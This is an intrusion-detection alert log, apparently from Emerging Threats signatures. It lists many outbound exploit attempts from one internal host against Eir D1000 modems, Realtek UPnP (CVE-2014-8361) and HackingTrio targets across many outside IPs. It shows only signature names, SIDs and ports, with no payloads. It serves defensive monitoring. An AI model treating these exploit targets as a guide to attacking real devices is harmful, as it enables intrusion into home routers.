ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 78.46.151.18

Timestamp:	04/15/24-08:53:51.039734
SID:	2025576
Source Port:	53572
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 68.104.54.228

Timestamp:	04/15/24-08:53:38.628035
SID:	2023548
Source Port:	46234
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 86.189.241.9

Timestamp:	04/15/24-08:53:04.968241
SID:	2023548
Source Port:	33670
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 1.1.157.49

Timestamp:	04/15/24-08:52:59.230799
SID:	2023548
Source Port:	38396
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 182.16.188.82

Timestamp:	04/15/24-08:53:07.141454
SID:	2025132
Source Port:	56252
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 195.231.16.240

Timestamp:	04/15/24-08:53:50.398424
SID:	2025576
Source Port:	46088
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 86.181.149.181

Timestamp:	04/15/24-08:52:49.769946
SID:	2023548
Source Port:	41390
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 175.228.4.92

Timestamp:	04/15/24-08:53:42.783442
SID:	2023548
Source Port:	50964
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 216.104.181.172

Timestamp:	04/15/24-08:53:49.219063
SID:	2025576
Source Port:	60364
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 50.47.156.154

Timestamp:	04/15/24-08:52:41.835428
SID:	2023548
Source Port:	49640
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 20.85.188.165

Timestamp:	04/15/24-08:53:21.946994
SID:	2025576
Source Port:	58234
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 51.81.234.22

Timestamp:	04/15/24-08:52:28.181364
SID:	2025576
Source Port:	33514
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 13.111.243.59

Timestamp:	04/15/24-08:53:34.981895
SID:	2025576
Source Port:	60388
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 175.233.9.68

Timestamp:	04/15/24-08:52:13.604052
SID:	2023548
Source Port:	38224
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 18.202.193.251

Timestamp:	04/15/24-08:52:28.498192
SID:	2025576
Source Port:	58376
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 173.33.56.136

Timestamp:	04/15/24-08:53:42.873609
SID:	2023548
Source Port:	35796
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 210.113.21.2

Timestamp:	04/15/24-08:53:58.366341
SID:	2023548
Source Port:	57300
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 39.53.254.123

Timestamp:	04/15/24-08:52:57.960613
SID:	2023548
Source Port:	37396
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 121.129.14.26

Timestamp:	04/15/24-08:53:24.888311
SID:	2023548
Source Port:	44238
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 202.194.31.3

Timestamp:	04/15/24-08:53:00.177844
SID:	2025576
Source Port:	35210
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 118.63.64.113

Timestamp:	04/15/24-08:53:11.017924
SID:	2023548
Source Port:	57838
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 121.150.239.182

Timestamp:	04/15/24-08:53:15.052294
SID:	2023548
Source Port:	48850
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 86.135.67.124

Timestamp:	04/15/24-08:52:17.062560
SID:	2023548
Source Port:	60000
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 222.103.251.25

Timestamp:	04/15/24-08:52:59.088537
SID:	2023548
Source Port:	35416
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 3.19.91.15

Timestamp:	04/15/24-08:53:41.660183
SID:	2025576
Source Port:	37888
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 45.159.142.87

Timestamp:	04/15/24-08:52:21.086000
SID:	2023548
Source Port:	42426
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 134.16.79.133

Timestamp:	04/15/24-08:52:26.728429
SID:	2023548
Source Port:	41620
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 163.191.71.200

Timestamp:	04/15/24-08:52:57.859658
SID:	2023548
Source Port:	39414
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 110.93.237.254

Timestamp:	04/15/24-08:53:21.912669
SID:	2025576
Source Port:	55754
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 61.76.227.58

Timestamp:	04/15/24-08:52:56.766209
SID:	2023548
Source Port:	51156
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 23.37.20.123

Timestamp:	04/15/24-08:53:00.322287
SID:	2025576
Source Port:	36234
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 200.115.88.221

Timestamp:	04/15/24-08:53:41.824787
SID:	2025576
Source Port:	38436
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 190.192.56.69

Timestamp:	04/15/24-08:53:48.539936
SID:	2023548
Source Port:	48172
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 156.214.35.68

Timestamp:	04/15/24-08:52:49.504453
SID:	2025576
Source Port:	37898
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 183.127.205.169

Timestamp:	04/15/24-08:53:31.791019
SID:	2023548
Source Port:	38422
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 50.32.145.174

Timestamp:	04/15/24-08:53:27.780733
SID:	2023548
Source Port:	49088
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 187.34.132.104

Timestamp:	04/15/24-08:52:44.128464
SID:	2023548
Source Port:	43132
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 5.201.131.17

Timestamp:	04/15/24-08:52:42.070491
SID:	2023548
Source Port:	35230
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 86.167.75.217

Timestamp:	04/15/24-08:53:31.201971
SID:	2023548
Source Port:	54672
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 59.12.224.143

Timestamp:	04/15/24-08:53:42.782595
SID:	2023548
Source Port:	57236
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 18.202.193.251

Timestamp:	04/15/24-08:52:28.812986
SID:	2025576
Source Port:	58400
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 118.210.102.135

Timestamp:	04/15/24-08:53:10.482766
SID:	2023548
Source Port:	56890
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 27.235.100.62

Timestamp:	04/15/24-08:53:26.150814
SID:	2023548
Source Port:	34448
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 115.10.27.48

Timestamp:	04/15/24-08:53:50.070215
SID:	2023548
Source Port:	38846
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 187.101.231.247

Timestamp:	04/15/24-08:52:12.653571
SID:	2023548
Source Port:	48158
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 99.251.198.135

Timestamp:	04/15/24-08:53:29.627646
SID:	2023548
Source Port:	45110
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 14.78.176.81

Timestamp:	04/15/24-08:52:57.067608
SID:	2023548
Source Port:	54696
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 164.250.163.134

Timestamp:	04/15/24-08:53:11.081568
SID:	2027339
Source Port:	50490
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 34.124.219.226

Timestamp:	04/15/24-08:53:34.585276
SID:	2025576
Source Port:	60040
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 189.28.129.94

Timestamp:	04/15/24-08:52:52.320474
SID:	2025576
Source Port:	59796
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 218.159.250.155

Timestamp:	04/15/24-08:52:26.394350
SID:	2023548
Source Port:	53384
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 61.76.151.114

Timestamp:	04/15/24-08:53:43.127543
SID:	2023548
Source Port:	56318
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 72.95.90.135

Timestamp:	04/15/24-08:52:19.970601
SID:	2023548
Source Port:	52524
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 34.43.218.102

Timestamp:	04/15/24-08:53:37.505347
SID:	2023548
Source Port:	33550
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 37.104.183.34

Timestamp:	04/15/24-08:53:06.153166
SID:	2023548
Source Port:	34442
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 105.101.111.233

Timestamp:	04/15/24-08:53:49.920553
SID:	2023548
Source Port:	47990
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 183.120.90.132

Timestamp:	04/15/24-08:53:04.895312
SID:	2023548
Source Port:	57114
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 38.153.214.1

Timestamp:	04/15/24-08:52:39.866083
SID:	2025576
Source Port:	55408
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 109.145.136.110

Timestamp:	04/15/24-08:52:50.097759
SID:	2023548
Source Port:	59192
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 109.157.45.8

Timestamp:	04/15/24-08:53:46.579409
SID:	2023548
Source Port:	51476
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 74.48.9.169

Timestamp:	04/15/24-08:53:29.038989
SID:	2025576
Source Port:	36166
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 220.85.134.187

Timestamp:	04/15/24-08:53:28.137594
SID:	2023548
Source Port:	49736
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 14.54.98.210

Timestamp:	04/15/24-08:52:40.738857
SID:	2023548
Source Port:	49816
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 3.105.192.81

Timestamp:	04/15/24-08:53:29.341414
SID:	2025576
Source Port:	34716
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 24.177.155.54

Timestamp:	04/15/24-08:53:32.716570
SID:	2023548
Source Port:	53394
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 186.225.195.139

Timestamp:	04/15/24-08:53:42.894321
SID:	2023548
Source Port:	36998
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 176.171.58.15

Timestamp:	04/15/24-08:53:46.873864
SID:	2023548
Source Port:	40688
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 200.162.244.201

Timestamp:	04/15/24-08:53:58.986723
SID:	2023548
Source Port:	39220
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 59.147.122.56

Timestamp:	04/15/24-08:53:21.527593
SID:	2023548
Source Port:	47708
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 24.213.101.176

Timestamp:	04/15/24-08:53:53.233189
SID:	2023548
Source Port:	39042
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 75.168.83.35

Timestamp:	04/15/24-08:53:04.744082
SID:	2023548
Source Port:	39564
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 190.192.121.245

Timestamp:	04/15/24-08:52:45.606683
SID:	2023548
Source Port:	47402
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 99.229.138.80

Timestamp:	04/15/24-08:52:19.914706
SID:	2023548
Source Port:	44248
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 101.167.72.124

Timestamp:	04/15/24-08:52:26.908916
SID:	2023548
Source Port:	35686
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 163.191.29.247

Timestamp:	04/15/24-08:53:49.694665
SID:	2023548
Source Port:	34542
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 2.142.102.62

Timestamp:	04/15/24-08:52:49.522980
SID:	2023548
Source Port:	54732
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 46.105.160.73

Timestamp:	04/15/24-08:53:50.374100
SID:	2025576
Source Port:	33556
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 207.174.148.251

Timestamp:	04/15/24-08:53:55.808131
SID:	2023548
Source Port:	54214
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 39.25.133.124

Timestamp:	04/15/24-08:52:58.015840
SID:	2023548
Source Port:	57594
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 71.210.192.44

Timestamp:	04/15/24-08:53:51.021438
SID:	2023548
Source Port:	40854
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 14.57.254.144

Timestamp:	04/15/24-08:52:28.359090
SID:	2023548
Source Port:	57556
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 139.39.192.129

Timestamp:	04/15/24-08:52:42.662259
SID:	2027339
Source Port:	40698
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 47.149.83.69

Timestamp:	04/15/24-08:53:42.563820
SID:	2023548
Source Port:	49004
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 34.149.128.155

Timestamp:	04/15/24-08:52:46.362481
SID:	2027339
Source Port:	53828
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 24.232.34.170

Timestamp:	04/15/24-08:52:56.229698
SID:	2023548
Source Port:	43210
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 176.41.141.26

Timestamp:	04/15/24-08:52:13.030690
SID:	2023548
Source Port:	55256
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 115.10.27.48

Timestamp:	04/15/24-08:53:49.770958
SID:	2023548
Source Port:	38822
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 212.9.102.39

Timestamp:	04/15/24-08:52:36.090067
SID:	2023548
Source Port:	40578
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 191.255.165.175

Timestamp:	04/15/24-08:53:37.481222
SID:	2023548
Source Port:	41666
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 45.33.245.142

Timestamp:	04/15/24-08:53:49.625869
SID:	2023548
Source Port:	39838
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 115.16.69.175

Timestamp:	04/15/24-08:53:56.354545
SID:	2023548
Source Port:	49170
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 34.149.128.155

Timestamp:	04/15/24-08:52:46.209392
SID:	2027339
Source Port:	53820
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 159.69.192.70

Timestamp:	04/15/24-08:53:43.037675
SID:	2025576
Source Port:	43160
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 119.216.204.195

Timestamp:	04/15/24-08:53:01.155382
SID:	2023548
Source Port:	33262
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 173.174.90.105

Timestamp:	04/15/24-08:52:20.061574
SID:	2023548
Source Port:	51526
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 93.81.145.250

Timestamp:	04/15/24-08:52:23.424728
SID:	2023548
Source Port:	54068
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 75.167.10.129

Timestamp:	04/15/24-08:53:39.714297
SID:	2023548
Source Port:	33208
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 37.105.162.108

Timestamp:	04/15/24-08:53:00.630789
SID:	2023548
Source Port:	50580
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 181.231.173.27

Timestamp:	04/15/24-08:52:38.140274
SID:	2023548
Source Port:	33814
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 115.1.111.23

Timestamp:	04/15/24-08:53:51.071711
SID:	2023548
Source Port:	45204
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 137.63.70.67

Timestamp:	04/15/24-08:53:49.663939
SID:	2025576
Source Port:	60602
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 168.149.18.147

Timestamp:	04/15/24-08:52:51.296446
SID:	2023548
Source Port:	38634
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 95.14.124.70

Timestamp:	04/15/24-08:53:57.614165
SID:	2831300
Source Port:	46560
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 47.155.82.176

Timestamp:	04/15/24-08:52:28.228446
SID:	2023548
Source Port:	41780
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 163.191.29.247

Timestamp:	04/15/24-08:53:49.905587
SID:	2023548
Source Port:	34566
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 181.41.86.210

Timestamp:	04/15/24-08:53:10.686192
SID:	2023548
Source Port:	37826
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 174.113.162.21

Timestamp:	04/15/24-08:53:19.017884
SID:	2023548
Source Port:	47234
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 164.250.163.134

Timestamp:	04/15/24-08:53:11.081568
SID:	2831300
Source Port:	50490
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 181.31.180.65

Timestamp:	04/15/24-08:53:04.613392
SID:	2023548
Source Port:	52986
Destination Port:	7547
Protocol:	TCP
